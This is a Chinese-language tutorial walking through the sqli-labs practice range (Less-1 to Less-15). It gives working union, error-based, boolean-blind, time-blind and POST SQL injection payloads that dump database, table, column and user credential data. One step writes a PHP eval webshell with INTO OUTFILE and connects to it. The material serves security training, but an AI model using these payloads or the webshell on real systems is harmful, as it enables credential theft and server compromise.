一、首先介绍一下这个重要的数据库—information_schema数据库:
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。
下列为information_schema数据库中schemata表、tables表、columns表的介绍。
schemata表:提供了当前mysql实例中所有数据库的信息。
schemata表中的schema_name列(字段)存储着所有数据库的名字。
information_schema数据库 --> schemata表 --> schema_name列(字段)
![在这里插入图片描述](https://img-blog.csdnimg.cn/e65d404864f444c59a402ad86560219e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_16,color_FFFFFF,t_70,g_se,x_16)
tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个数据库,表类型,表引擎,创建时间等信息。
tables表中的table_schema列(字段)存储着数据库的名字,table_name列(字段)存储着表的名字。
information_schema数据库 --> tables表 --> table_schema列(字段) --> table_name列(字段)
![在这里插入图片描述](https://img-blog.csdnimg.cn/1e8902ab2acd422881f4c51f9db37e80.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_16,color_FFFFFF,t_70,g_se,x_16)
columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
columns表中的table_schema列(字段)存储着数据库的名字,table_name列(字段)存储着表的名字,column_name列(字段)存储着列(字段) 的名字。
information_schema数据库 --> columns表 --> table_schema列(字段) --> table_name列(字段) --> column_name列(字段)
![在这里插入图片描述](https://img-blog.csdnimg.cn/8883a3cb48244016b6e07fd1907f11d7.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_16,color_FFFFFF,t_70,g_se,x_16)
数据库:information_schema
有所有数据库名信息的 schemata 表:schemata(schema_name)
有所有表名信息 tables 表:tables(table_schema,table_name)
有所有列(字段)名信息的 columns 表:columns(table_schema,table_name,column_name)
核心语句:(以sqli-labs靶场的数据库为例子)
select schema_name from information_schema.schemata
select table_name from information_schema.tables where schema_name = ‘security’
select column_name from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’
select group_concat(id,username,password) from security.users
SQL注入常用的函数:
user():用户名
version():mysql 数据库版本
database():当前数据库名
current_user():当前用户名
system_user():系统用户名
@@datadir:数据库路径
@@version_compile_os:操作系统版本
盲注常用的函数:
if(expr,v1,v2):如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。
length(): 返回字符串的字节长度。
ascii(): 返回字符串第一个字符的ASCII码。
substring():从字符串中提取子字符串。
\
二、Sqli-Labs靶场
Get传输方式:
Less-1 Union&Select注入-闭合符[ ’ ]
1、通过使用反斜杠\,来判断闭合字符。
如何判断闭合字符
URL:Less-1/?id=1\
![在这里插入图片描述](https://img-blog.csdnimg.cn/86beafa09bb74c858d8617690fd39e81.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
这一步的目的:知道SQL执行语句的闭合字符是什么,以便后面的SQL语句拼接,达到SQL注入的目的。\反斜杠后面跟着的就是闭合符。
2、通过使用order by,来判断执行SQL语句后的结果集里一共返回了多少列(字段)。
order by 关键字的介绍:
order by 关键字用于对结果集按照一个列或者多个列进行排序。order by后可以填列名、数字。
举例: id是name表的第1列的列名,那么若想查询的结果按照id来排序(默认升序),则可以写成下列两种形式,效果均相同。
select * from name order by id;
select * from name order by 1;
应用到sql注入语句中,我们就可以利用(order by 数字)这条语句,通过改变后面的这个数字来查看页面是否报错,来判断执行SQL语句后一共返回了多少列(字段)。
URL:Less-1/?id=1’ order by 3 --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/1ffbd5d289e544c99e87233936625980.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
为什么要查询出当前返还结果集中的列数(字段数)呢?
因为后面用到的union联合查询语句要求union 内部的每个 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 select语句中的列的顺序必须相同。所以,要查询出当前返还结果集中的列数(字段数),以便后面使用union关键字时不会出错。
3、通过使用id=-1与union操作符,来查看显示位。
union操作符的介绍:
union 操作符用于合并两个或多个 select语句的结果集。
请注意,union 内部的每个 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 select语句中的列的顺序必须相同。
URL:Less-1/?id=-1’ union select 1,2,3 --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/91c0cd6c98444e588538073282b41a21.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
为什么要使id=-1呢?
当id=-1时,select语句查询到的结果集不存在,则没有返还结果;而union后半段的select语句查询到的结果集存在,则会返还结果,从而判断显示位会显示哪个列(字段)的信息。
4、通过使用version()、database(),来判断数据库版本信息和当前数据库名。
URL:Less-1/?id=-1’ union select 1,version(),database() --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/377a523d24b24d5aa7c3bca17e0b34f1.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
5、通过使用group_concat()、information_schema.schemata和schema_name,来爆出数据库。
group_concat()函数的介绍:
group_concat()函数可以用来连接字符串,在其中可以添加一些分割符,可以使得结果跟直观。
information_schema.schemata与schema_name开头有介绍。
URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ',schema_name) from information_schema.schemata --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/8e980f95b7914416a8c9cbdb5aa8a707.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
6、通过使用group_concat()、information_schema.tables、table_name、table_schema,来爆出数据库中的表名。
information_schema.tables、table_name和table_schema开头有介绍。
URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ',table_name) from information_schema.tables where table_schema=‘security’ --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/70d30286b6124a439c541df8265ca94d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
7、通过使用group_concat()、information_schema.columns、column_name、table_schema、table_name,来爆出表中的列名(字段名)。
information_schema.columns、column_name、table_schema和table_name开头有介绍。
URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ',column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/56823b8ed62b4913b15f17713e57e902.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
8、通过使用group_concat()和前面爆出的表名、列名(字段名),来爆出想要的数据。
URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ‘,id,’-’,username,’-’,password) from users --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/00239291cfb540e1bbb67f3b959f6981.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
Less-5 报错注入-闭合符[ ’ ]
报错注入原理讲解(点击这里)
1、通过使用反斜杠\,来判断闭合字符。
如何判断闭合字符
Less-5/?id=1\
![在这里插入图片描述](https://img-blog.csdnimg.cn/2b3a598d7d2a4c68923587e947136a2b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
这一步的目的:知道SQL执行语句的闭合字符是什么,以便后面的SQL语句拼接,达到SQL注入的目的。\反斜杠后面跟着的就是闭合符。
2、通过使用extractvalue()报错函数、version()、database(),来判断数据库版本信息和当前数据库名。
Less-5/?id=1' and extractvalue(1,concat(0x7e,(select version()),0x7e)) --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/aa852c54f59a4e36b78981e907888ef7.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
![在这里插入图片描述](https://img-blog.csdnimg.cn/66a78438f916409dbe2c41ab2a242267.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
3、通过使用concat()、limit、information_schema.schemata和schema_name,来爆出数据库信息。
concat()函数的介绍:
concat()函数为字符串连接函数,将多个字符串连接成一个字符串。
limit子句的介绍:
limit子句可以被用于强制select语句返回指定的记录数。limit接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。初始记录行的偏移量是0(而不是1)。
因为报错信息长度有限制,所以需要limit子句来限制输出内容,可以通过调整limit后面的参数来逐个显示出所需要的信息。
information_schema.schemata与schema_name开头有介绍。
Less-5/?id=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/11fbd86f78684b6f8410a316cab69712.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
4、通过使用concat()、limit、information_schema.tables、table_name、table_schema,来爆出数据库中的表名。
information_schema.tables、table_name和table_schema开头有介绍。
Less-5/?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e)) --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/9bc26724151c40c98d1dde1d9ba547ca.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
5、通过使用concat()、information_schema.columns、column_name、table_schema、table_name,来爆出表中的列名(字段名)。
information_schema.columns、column_name、table_schema和table_name开头有介绍。
Less-5/?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),0x7e)) --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/d61fd8c77c6441b4b93ca028bd3d2498.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
6、通过使用limit子句和前面爆出的表名、列名(字段名),来爆出想要的数据。
Less-5/?id=1' and extractvalue(1,concat(0x7e,(select username from security.users limit 1,1),0x7e)) --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/9a31128650be4fc8af0c8b5104d31249.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
Less-5/?id=1' and extractvalue(1,concat(0x7e,(select password from security.users limit 1,1),0x7e)) --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/4c4197e3b7b74b2eab554a9413e80b97.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
Less-7 写入数据–闭合符[ ')) ]
一、首先,需要开启文件读写权限
MySql 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。
先进入cmd命令界面,登录mysql
mysql -u root -p
然后使用 show variables like ‘%secure%’; 命令,查看权限是否已开启,若为 Null ,则表示未开启。
可按下面操作开启,进入 my.ini 数据库配置文件
添加 secure_file_priv="/"
![在这里插入图片描述](https://img-blog.csdnimg.cn/d28c0e761a9a47f0bfaca877cab952f0.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
![在这里插入图片描述](https://img-blog.csdnimg.cn/6caae32f3fb540b28abe11579cd2f732.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
![在这里插入图片描述](https://img-blog.csdnimg.cn/c4aa6e88191f49e98f13038795016ce4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
之后,重启一下 mysql 服务器,再进入 mysql 查看,为 C:\ 就成功了。
![在这里插入图片描述](https://img-blog.csdnimg.cn/6b16cc77a5a440c2b47386a5c9239f41.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
二、开始注入
判断闭合符的方法(点这里)
1:使用order by子句,判断列(字段)数。
URL:Less-7/?id=1’)) order by 3 --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/7dadbec955754886aaec507013c18ca3.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
2:写入一句话木马,虽然会报错,但是确实写入成功了。
URL:Less-7/?id=1’)) union select 1,2,"<?php @eval($_POST['test']); ?>" into outfile “C:\phpstudy_pro\WWW\sqllab\Less-7\test.php” --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/762f9aa55333456796cce9b950a17aff.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
![在这里插入图片描述](https://img-blog.csdnimg.cn/ddaa861819ec47eba3ac341246389d57.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
![在这里插入图片描述](https://img-blog.csdnimg.cn/5b84db48a0cc477b949222c925df2f70.png)
3:通过蚁剑、菜刀,连接一句话木马。
![在这里插入图片描述](https://img-blog.csdnimg.cn/e0118c54cc2b4f88a07a84a5e01f4659.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
![在这里插入图片描述](https://img-blog.csdnimg.cn/fee6eceef6bc4d39928dc950c3a0b11b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
这时就已经进入到服务器了,可以通过上传大马进一步的提取权限。
Less-8 布尔型盲注–闭合符[ ’ ]
一、首先,我们需要知道,界面回显正常和不正常的区别。
URL:Less-8/?id=1
![在这里插入图片描述](https://img-blog.csdnimg.cn/44352a52ea3044898e01e7825d2367c2.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
URL:Less-8/?id=0
可以看到,界面回显正常时,是有 You are in… 的,回显不正常时,时没有的,所以,之后我们就可以通过这一点来推测出正确的数据信息。
二、开始注入
1:先介绍一下,待会要使用的重要函数:length()、ascii()、substring()
length(): 函数的返回值为字符串的字节长度。
ascii():返回字符串str的最左边字符的数值。 如果str是空字符串,则返回0。 如果str为NULL,则返回NULL。ASCII适用于数字值介于0到255之间的字符。
substring():函数从特定位置开始的字符串返回一个给定长度的子字符串。如果要指定要从字符串中提取的子字符串的长度,可以使用以下形式的 substring 函数:
substring(string,position,length);
2:判断闭合符,通过一遍一遍的测试,可以看到当 id=1 后面跟着一个分号 [ ’ ] 时,界面回显错误了,所以闭合符就为分号 [ ’ ]。
如何判断闭合符(点这里)
URL:Less-8/?id=1’
![在这里插入图片描述](https://img-blog.csdnimg.cn/bec0a462b45045e6bb0b916ff7f63f34.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
3:通过使用 length() 函数判断当前数据库名称的长度。合理利用大于号[ > ]、小于号[ < ] ,可提升判断速度。
URL:Less-8/?id=1’ and length(database())=8 --+
length(database())=8 的时候正常回显,其他的无正常回显。
4:用ASCII码猜解当前数据库名称,当前数据库的名称为 ‘security’ 第一个字母是 s ,对应 ascii码十进制值为 115。
判断ascii码范围不止是使用 等于号 [ = ] ,合理利用大于号[ > ]、小于号[ < ] ,可提升判断速度。
ascii码表,可自行百度,这里只列出一小部分。
![在这里插入图片描述](https://img-blog.csdnimg.cn/e9d0ad13e3d3489ca5559e988c3665b8.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_14,color_FFFFFF,t_70,g_se,x_16)
URL:Less-8/?id=1’ and ascii(substring(database(),1,1))<116 --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/599801365638428186d9db9d726422cf.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
URL:Less-8/?id=1’ and ascii(substring(database(),1,1))=115 --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/dd4d01a4c33b47f19726bf0674ae108f.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
5:用ASCII码猜解表名,这里只举一个例子,最后猜解的表名应为 'users’
![在这里插入图片描述](https://img-blog.csdnimg.cn/e481dd4da6de4c2da929d7e727adec56.png)
URL:Less-8/?id=1’ and ascii(substring((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),1,1))=117 --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/1bb7572c0450420ca5a804bda571afe9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
6:用ASCII码猜解字段名,这里只举一个例子,最后猜解的字段名应为 ‘username’ 和 'password’
![在这里插入图片描述](https://img-blog.csdnimg.cn/bfeff6a8e18746b78a53901419ea3b59.png)
URL:Less-8/?id=1’ and ascii(substring((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))=117 --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/2c69458dd17543a193ebca522a7941aa.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
7:用ASCII码猜解内容,这里只举一个例子。
![在这里插入图片描述](https://img-blog.csdnimg.cn/f2b0a5f5a90b4fa28b24cbd969b50ff2.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_11,color_FFFFFF,t_70,g_se,x_16)
URL:Less-8/?id=1’ and ascii(substring((select username from users limit 0,1),1,1))=68 --+
![在这里插入图片描述](https://img-blog.csdnimg.cn/1822dd951e844f04a27edf232429961e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
Less-9 延迟型注入–闭合符[ ’ ]
一、开始注入 (因为界面回显都一样,只是响应时间不同,图片展现不出差别,所以这里就不插入结果图了,直接上 SQL语句)
1、判断出闭合符 [ ’ ],当闭合符正确时,界面回显需要等待 3 秒时间
Less-9/?id=1' and sleep(3) --+
2、判断数据库名信息
Less-9/?id=1' and if(ascii(substring((select schema_name from information_schema.schemata limit 6,1),1,1))=115,sleep(3),1)
--+
3、判断表名信息
Less-9/?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),1)
--+
4、判断字段名信息
Less-9/?id=1' and if(ascii(substring((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(3),1)
5、判断数据信息
Less-9/?id=1' and if(ascii(substring((select username from users limit 0,1),1,1))=68,sleep(3),1)
--+
![在这里插入图片描述](https://img-blog.csdnimg.cn/3d27f652c90649889c391febc419420d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_11,color_FFFFFF,t_70,g_se,x_16)
*Post传输方式:
除了传输方式不一样,其实SQL注入语句是一样的,有些详细讲解可以查看 Get 传输方式的注入讲解。因为是 Post 请求的主体信息与 Get 请求方式有区别,所以注释符可以使用 #、-- (减号减号空格)。
注意:可以自己直接在 Username 或Password 框内输入SQL注入语句。
要是想要自己发送 Post 请求的主体信息,需要自己下载插件,我这里用的是火狐浏览器,安装了 HackBar 插件。
Less-11 Union&Select注入-闭合符[ ’ ]
1、首先,在开始注入前,若是我们想要自己发送 Post 请求的主体信息,那么我们就要知道,对应输入框的名字信息。可以通过 BurpSuit 抓包查看 Post 请求的主体信息,或者直接在浏览器界面使用查看器 (F12) 查看输入框的 name 及其对应的 value。
![在这里插入图片描述](https://img-blog.csdnimg.cn/5061f401558d4a72bac010162efa799b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_17,color_FFFFFF,t_70,g_se,x_16)
![在这里插入图片描述](https://img-blog.csdnimg.cn/4efc5f1b4ce54baaa02fe4562ca11d29.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_12,color_FFFFFF,t_70,g_se,x_16)
2、判断闭合符 ( \ 后面跟着的就是闭合符,为[ ’ ]) :
uname=123\&passwd=&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/3e2cd657476244f4abcabbeb5af2370d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
3、判断执行SQL语句后的结果集里一共返回了多少列(字段)
uname=123' order by 2 -- &passwd=&submit=Submit
这里因为是 Post 请求的主体信息与 Get 请求方式有区别,所以注释符可以使用 #、-- (减号减号空格)。
可以看到当 order by 2 的时候界面没有报错,所以返还的结果集里面最多有 2 列。
![在这里插入图片描述](https://img-blog.csdnimg.cn/e3222b31e7f84633b932057af99273c5.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
4、判断显示位:
uname=123' union select 1,2 -- &passwd=&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/7d4acc46c96f4dbc8e020c459db4fb8b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
5、查询数据库名信息:
uname=123' union select database(),group_concat('/',schema_name) from information_schema.schemata #&passwd=&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/b7afb6f006a7483da3836dbbb3440dc8.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
6、查询表名信息:
uname=123' union select database(),group_concat('/',table_name) from information_schema.tables where table_schema='security' #&passwd=&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/36703b57f6da47c9825e286ba2a254eb.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
7、查询字段名信息:
uname=123' union select database(),group_concat('/',column_name) from information_schema.columns where table_schema='security' and table_name='users' #&passwd=&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/4b41103cadea492bb5e07b025a970b31.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
8、查询数据信息:
uname=123' union select database(),group_concat(id,'/',username,'/',password) from users #&passwd=&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/ff579ee6bc934cdcb2f0f18d7c2f2e3a.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
Less-13 报错型注入–闭合符[ ') ]
一、这里除了 Post 请求方式与 Get 请求方式不同之外,其他都一样,原理讲解可以去 Get 请求方式篇查看。这里只写执行语句。
二、开始注入
1、判断闭合符 [ ') ]
如何判断闭合符(点这里)
uname=\&passwd=&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/70a4ff8305b240ec8beda6ded877f920.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
2、爆出数据库名信息
uname=1') and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1))) #&passwd=&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/ee48d58ccad0435b86588b18c5d21009.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
3、爆出数据库表名信息
uname=1') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1))) #&passwd=&submit=Submit
4、爆出字段名信息
uname=1') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))) #&passwd=&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/ed1613efc8f84988a81c68f45fa0a79d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
5、爆出数据信息
uname=1') and extractvalue(1,concat(0x7e,(select username from users limit 0,1))) #&passwd=&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/8293181317324a3189121adc0f3517e9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
Less-15 布尔型盲注–闭合符[ ’ ]
一、注入步骤基本上与Less-8一样,但是需要注意的一个点是,连接符需要用到的是 or 而不是 and ,原因是因为在我们不知道用户名的情况下,若是用 and 作为连接符,那么若是有一边执行结果为 false ,则整个执行结果就是 false ,这样就判断不了,所以需要用到 or ,一边为 true,则整个执行结果就为 true。
二、布尔型注入
1、判断闭合符,并且判断语句执行正确与错误,界面回显是否有不同之处。
uname=1' or 1=1 # &passwd=&submit=Submit
使用 or 1=1,这一边一定是返还 true 的,但是若是前面的闭合符不正确,那么整个语句执行起来一定也还是错误的,所以这时就可以利用这个特性去判断闭合符是什么,这里判断得出闭合符为 [ ’ ] ,并且判断得出当语句执行成功返回 true 时,界面是显示 successfully 的,若是返回 false 是,界面是显示 login attempt failed 的。
